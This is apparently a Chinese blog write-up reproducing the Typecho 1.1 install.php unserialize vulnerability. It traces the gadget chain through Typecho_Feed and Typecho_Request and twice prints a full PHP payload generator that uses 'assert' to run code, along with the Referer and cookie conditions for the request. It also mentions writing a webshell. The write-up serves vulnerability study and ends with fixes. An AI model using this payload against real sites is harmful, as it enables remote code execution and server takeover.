0%

Typecho install.php存在的反序列化漏洞

这是17年的老洞了。最近刷题突然刷到这个漏洞,本着弄清原理的心态进行了这次的漏洞复现分析。

typecho 是什么?

typecho是一个小型的博客程序。它基于PHP,可使用多种数据库进行数据存储。

环境搭建

下载源码:【Typecho 1.1】
安装时需要注意,提前在数据库中创建一个指定库名的库。

漏洞点验证

这是我们已经安装好的样子
我们需要做到如下:

  1. 访问路径为:(一定要加finish)
    1
    .../install.php?finish
  2. 头部的 referer 需要是本站,这里我们为:(只要是站点的父站都可以)
    1
    Referer: http://127.0.0.1/
  3. cookie中或者post data 一个, __typecho_config=攻击代码
    而这个攻击代码由下面脚本运行得来:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    <?php
    class Typecho_Feed
    {
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct(){
    $this->_type = $this::RSS2;
    $this->_items[0] = array(
    'title' => '1',
    'link' => '1',
    'date' => 1508895132,
    'category' => array(new Typecho_Request()),
    'author' => new Typecho_Request(),
    );
    }
    }
    class Typecho_Request
    {
    private $_params = array();
    private $_filter = array();

    public function __construct(){
    $this->_params['screenName'] = 'phpinfo()'; //这里将要被执行的函数
    $this->_filter[0] = 'assert';
    }
    }
    $exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
    );
    echo base64_encode(serialize($exp));
    最后结果如图证明漏洞点存在(当然我们也是可以写入shell的):

漏洞分析

首先我们找到反序列化的点,在install.php的230行:
接着我们追溯一下,get 方法。发现他会首先在cookie中找__typecho_config的值,如果找不到就会在post值中找

也就是说,这个反序列化的内容是我们可以控制的。怎么利用?我们注意到,下面有调用到我们刚刚反序列化的一部分值,跟近看看:
发现有一个字符拼接的语句,那么如果把$config['adapter'] 赋值为一个对象,就会调用其的 __toString 方法。 我们全局搜索一下toSting
。注意到Feed.php跟近:

我们发现,$item['author']->screenName这里如果$item['author'] 是一个对象,且不存在screenName属性时,会自动调用__get魔法函数。那么我门再全局搜索一下__get,定位到Request.php:

这里它会调用自己类的get方法,跟近一下:
它会给$value赋值,然后调用自己类的_applyFilter($value) 方法。跟近
这里发现了call_user_funcarray_map_filter 是初始化的我们可以自己构造值来控制,$value 是我们传进来的更加可以控制了。

1
array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组。

此时我们回头再注意下,我们最后的代码是被base64解码了的。而且有几个判断:

1
2
3
4
install.php 59行开始
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}

我们只需要get传一个finish 就可以绕过啦。除了这里还有个地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
install.php 64行后
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

这里要求我们必须设置Referer 头,且它地址的 ip或域名 必须和这个漏洞网站一致(带端口)。
那么到这里我们就可以完美利用漏洞了。

构造 payload

首先我们明确要使用到2个类

class Typecho_Feed、Typecho_Request

Typecho_Feed类构造

而我们在 Typecho_Feed ,关心的只有private $_items字段,但是我们注意到Feed.php的241行会调用$this->dateFormat($item['date']) 如果dateFormat没有返回值这里就会报错并结束程序,我们跟近:
也就是这里要求我们$_type的值为ATOM 1.0、RSS 2.0、RSS 1.0 中的一个。这里随便提一下没有定义赋值的变量会默认赋空。
而我们关心的是$item['author']->screenName 其它数组键我们不用访问就可以执行到这一步从而去触发下一个的__get()。这边随便说一下,没有定义的数组键被访问时会警告并返回一个空值,并不会中止程序。此时我们所构造的Typecho_Feed类如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
class Typecho_Feed
{
private $_type = 'ATOM 1.0';
private $_items = array();
public function __construct()
{
$this->_items[0] = array(
/*category 用于分支处理,如果不用于回显数据,此字段可以省略 。此处需要构造非空数组,且成员值为对象*/
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}

Typecho_Request 类构造

在这个类中,我们关心的是private $_paramsprivate $_filter 根据前面的分析,我们只需要将$_params['screenName'] = '执行函数';$_filter[0] = 'assert';。也就是$_filter[0]为要调用的函数,而$_params['screenName'] 则是被传的参数。(我们也可以利用file_put_contents 来写入shell木马文件) 所以最后我们构成的exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Typecho_Feed
{

private $_type = 'ATOM 1.0';
private $_items = array();
public function __construct()
{
$this->_items[0] = array(
/*category 用于分支处理,如果不用于回显数据,此字段可以省略 。此处需要构造非空数组,且成员值为对象*/
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}

class Typecho_Request
{
private $_params = array();
private $_filter = array();

public function __construct(){
$this->_params['screenName'] = 'phpinfo();';
$this->_filter[0] = 'assert';
}
}

$payload = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'test' //这里可以随意
);

echo base64_encode(serialize($payload));
?>

细心的人会发问,为什么Typecho_Feed类要有'category' => array(new Typecho_Request())
你还记得install.php中开始就调用了 ob_start()吗? 它是打开一个输出控制缓冲,将本该输出到页面的内容输出到了缓冲区。而后如果我们使用上面的payload会触发原本的exception,我们看到Common.php中设置了异常捕获函数:

set_exception_handler(exception_function)
exception_function 规定未捕获到的异常发生时调用的函数。
注意:在这个异常处理程序被调用后,脚本会停止执行。

我们追踪一下exceptionHandle,发现其使用了,@ob_end_clean();就是将我们的缓存全部清空,就不会输出任何东西。
所以我们需要在它捕获到这个异常之前,结束程序。这边我们就是利用category来提前中止程序。
可以看到,假如我们category 是一个对象,对象[]这么调用会报致命错误,而不是未定义那么简单,它会直接中止程序。当然你也有其它方法进行提前退出程序而不会被捕获到 exception 例如利用call_user_func 调用函数来exit退出。

修复方案

  1. 删除网站根目录下的 install.php文件
  2. 更新至最新版本

发散思考

这个漏洞的是怎么被找到的?
按照常规,先使用seay、rips等代码审计工具自动审计一波,奇怪的是居然没有扫到这个点。
我们发现 install.php 还存在,随即就瞅瞅install.php的源码。
找找危险函数,逐个尝试发现有个反序列化,而且还被作为参数赋值给另一个对象,接着就是一系列的寻找利用函数。
当然我相信,第一次发现这个漏洞的也不是一眼就找到了这个点。也是经过多次尝试,最后发现这个点可行。
我因该再多积累经验多审计审计,然后就是要有耐心的去审计每一个cms,万一搞出个0day呢。

【参考链接】


-------------本文结束感谢您的阅读-------------